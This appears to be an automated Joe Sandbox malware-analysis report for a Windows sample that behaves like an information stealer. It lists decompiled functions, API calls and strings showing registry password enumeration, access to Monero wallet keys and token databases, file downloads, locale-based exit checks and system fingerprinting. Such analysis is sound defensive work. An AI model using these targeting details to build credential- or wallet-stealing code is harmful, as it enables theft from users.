Instruction Fuzzy Hash: F95130F195011D5BCB19EB64DD96AFD73BCAB50300F4045E8B70E63092EE706B8DCAA6

Function 00BE75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00BE733A
Part of subcall function 00BE72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00BE73B1
Part of subcall function 00BE72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00BE740D
Part of subcall function 00BE72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00BE7452
Part of subcall function 00BE72D0: HeapFree.KERNEL32(00000000), ref: 00BE7459

lstrcat.KERNEL32(00000000,00C017FC), ref: 00BE7606
lstrcat.KERNEL32(00000000,00000000), ref: 00BE7648
lstrcat.KERNEL32(00000000, : ), ref: 00BE765A
lstrcat.KERNEL32(00000000,00000000), ref: 00BE768F
lstrcat.KERNEL32(00000000,00C01804), ref: 00BE76A0
lstrcat.KERNEL32(00000000,00000000), ref: 00BE76D3
lstrcat.KERNEL32(00000000,00C01808), ref: 00BE76ED
task.LIBCPMTD ref: 00BE76FB

Strings

: , xrefs: 00BE764E

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: ab5d7ef0ab6c6f5c6fabff11322bacab5a3859a2aa74027c418c1500478717f9
Instruction ID: 334011c46763211594bb1554de80464035a3c67b6a313ed78bb47a18de0dc282
Opcode Fuzzy Hash: ab5d7ef0ab6c6f5c6fabff11322bacab5a3859a2aa74027c418c1500478717f9
Instruction Fuzzy Hash: AE313EB5900149DFCB18EBA6DC9ADFE77B4BB48301B184168F106B7291DF34A94BCB52

Function 00BE60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Part of subcall function 00BE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BE4839
Part of subcall function 00BE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BE4849

InternetOpenA.WININET(00C00DF7,00000001,00000000,00000000,00000000), ref: 00BE610F
StrCmpCA.SHLWAPI(?,009BF440), ref: 00BE6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00BE618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00BE61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00BE61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00BE620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00BE6249
InternetCloseHandle.WININET(?), ref: 00BE6253
InternetCloseHandle.WININET(00000000), ref: 00BE6260

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 151d5e74e92f3b4c1d11f6423020ca421bb1f9bab9923b61e2bccfaf8b0da68d
Instruction ID: 1511cbe1ff928f01292a04aa87ea47b10a77ee7574c20b042f731ecf04ff2236
Opcode Fuzzy Hash: 151d5e74e92f3b4c1d11f6423020ca421bb1f9bab9923b61e2bccfaf8b0da68d
Instruction Fuzzy Hash: D7516EB1900218AFDB24DF51DC45BEE77B8EB04741F1080E8A709B71C0DBB46A8ACF96

Function 00BE72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00BE733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00BE73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00BE740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00BE7452
HeapFree.KERNEL32(00000000), ref: 00BE7459
task.LIBCPMTD ref: 00BE7555

Strings

Password, xrefs: 00BE7401

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 25e37e5d6d54ab71947d7c130c267d50e5d21583ed93a09431510bd3b8be4322
Instruction ID: c641188625804b4899a5e6265f37b2b577805dfe71e485eb8de2daf2eedb542f
Opcode Fuzzy Hash: 25e37e5d6d54ab71947d7c130c267d50e5d21583ed93a09431510bd3b8be4322
Instruction Fuzzy Hash: 8A612AB58442A89BDB24DB51DC45BD9B7F8FF48300F0481E9E649A6281EF705BC9CFA1

Function 00BEBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

lstrlen.KERNEL32(00000000), ref: 00BEBC9F

Part of subcall function 00BF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BF8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00BEBCCD
lstrlen.KERNEL32(00000000), ref: 00BEBDA5
lstrlen.KERNEL32(00000000), ref: 00BEBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00BEBBEB
AccountId, xrefs: 00BEBCC4
AccountTokens, xrefs: 00BEBABA
AccountTokens, xrefs: 00BEBB49

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: f5ebe2ff842e484543de78c3a54aadbb16dfba341a10ce0aef148d581a99219f
Instruction ID: 03f83e694f5ee0d534e4b61b45f12d12dba7ebb171e7b0014c9d8533ffa4d132
Opcode Fuzzy Hash: f5ebe2ff842e484543de78c3a54aadbb16dfba341a10ce0aef148d581a99219f
Instruction Fuzzy Hash: 83B111B191010C9BDB18EBA4DD56EFE73B8AF54300F4445A8F60AB7091EF746A4DCB62

Function 00BF6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00BF6774
ExitProcess.KERNEL32 ref: 00BF67A5
ExitProcess.KERNEL32 ref: 00BF67AF
ExitProcess.KERNEL32 ref: 00BF67B9
ExitProcess.KERNEL32 ref: 00BF67C3
ExitProcess.KERNEL32 ref: 00BF67CD

Strings

*, xrefs: 00BF678C

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: f6f69557cfc55a999802c8700e52c0b74cfb073db0dd06ad38b1ce4f37be9c04
Instruction ID: 5b5291c18519f31b3525faa8a4f459ad41e7b1d9ec0fc2dc540a1e1a2b3b16f8
Opcode Fuzzy Hash: f6f69557cfc55a999802c8700e52c0b74cfb073db0dd06ad38b1ce4f37be9c04
Instruction Fuzzy Hash: 67F05430904209EFD354AFE1E90972CBB70FB14703F0801A9EA05D7290D6704F46DB9A

Function 00BE4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00BE4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00BE4FD1
InternetOpenA.WININET(00C00DDF,00000000,00000000,00000000,00000000), ref: 00BE4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00BE5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00BE5041
InternetCloseHandle.WININET(?), ref: 00BE50B9
InternetCloseHandle.WININET(?), ref: 00BE50C6

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 8b38bd6b15a9c7758caaad2e3daefdb3f945f8d946960f08ed794c121bf6050e
Instruction ID: ef199f2d2ab2dc8301d761e276b3727fe5a84f1b2478219c8ada4fab431fd861
Opcode Fuzzy Hash: 8b38bd6b15a9c7758caaad2e3daefdb3f945f8d946960f08ed794c121bf6050e
Instruction Fuzzy Hash: A13106B4A00218ABDB24CF55DC85BDCB7B4EB48704F1081E9FB09B7281C7706A898F99

Function 00BF8100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,009BE8C8,00000000,?,00C00E2C,00000000,?,00000000), ref: 00BF8130
RtlAllocateHeap.NTDLL(00000000), ref: 00BF8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00BF8158
wsprintfA.USER32 ref: 00BF81AC

Strings

%d MB, xrefs: 00BF81A3
@, xrefs: 00BF814D

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: e7d42812be2b302b1667c7bbf5bd9c3f2318088e095a6835fcac33652c5e339d
Instruction ID: 289f39f8aeca7655e23f2932d85c032cc528c2455dffd837726e9432b0d9c872
Opcode Fuzzy Hash: e7d42812be2b302b1667c7bbf5bd9c3f2318088e095a6835fcac33652c5e339d
Instruction Fuzzy Hash: E72127B1A44208ABDB14DFD5CC49FAEB7B9EB48B00F104659F705BB280C77869098BA5

Function 00BF83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00BF8426
wsprintfA.USER32 ref: 00BF8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00BF847B
RegCloseKey.ADVAPI32(00000000), ref: 00BF848C
RegCloseKey.ADVAPI32(00000000), ref: 00BF8499

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

RegQueryValueExA.ADVAPI32(00000000,009BE9D0,00000000,000F003F,?,00000400), ref: 00BF84EC
lstrlen.KERNEL32(?), ref: 00BF8501
RegQueryValueExA.ADVAPI32(00000000,009BEA18,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00C00B34), ref: 00BF8599
RegCloseKey.ADVAPI32(00000000), ref: 00BF8608
RegCloseKey.ADVAPI32(00000000), ref: 00BF861A

Strings

%s\%s, xrefs: 00BF844D

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: f4c53f8de5d7b796f68c427df4743adb3d42086176ea76565866c84316d61f94
Instruction ID: 9b2d45cf22d9b22c8b5531dfbc19e8490c6e87093eb9cafb2ea7bbb80a57a9d5
Opcode Fuzzy Hash: f4c53f8de5d7b796f68c427df4743adb3d42086176ea76565866c84316d61f94
Instruction Fuzzy Hash: 6921D8B191021CAFDB28DB54DC85FE9B7B8FB48700F04C5E9A609A6140DF716A8ACF94

Function 00BF7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BF76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00BF76AB
RegOpenKeyExA.ADVAPI32(80000002,009ABAD0,00000000,00020119,00000000), ref: 00BF76DD
RegQueryValueExA.ADVAPI32(00000000,009BE970,00000000,00000000,?,000000FF), ref: 00BF76FE
RegCloseKey.ADVAPI32(00000000), ref: 00BF7708

Strings

Windows 11, xrefs: 00BF76BD

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 4db9bac4d39641831728f246937adb6602ebe0a2cb451fb3601af82b89b66a9c
Instruction ID: 74fa9e40de2811d572315f60b667d3fd8ad4cc6286992a8bf2bf9717c86c67c7
Opcode Fuzzy Hash: 4db9bac4d39641831728f246937adb6602ebe0a2cb451fb3601af82b89b66a9c
Instruction Fuzzy Hash: CC018FB4A40208BFEB24EBE5DC4DF7DB7B8EB08701F1040A4FB04E7290DA7099098B51

Function 00BF7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BF7734
RtlAllocateHeap.NTDLL(00000000), ref: 00BF773B
RegOpenKeyExA.ADVAPI32(80000002,009ABAD0,00000000,00020119,00BF76B9), ref: 00BF775B
RegQueryValueExA.ADVAPI32(00BF76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00BF777A
RegCloseKey.ADVAPI32(00BF76B9), ref: 00BF7784

Strings

CurrentBuildNumber, xrefs: 00BF7771

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
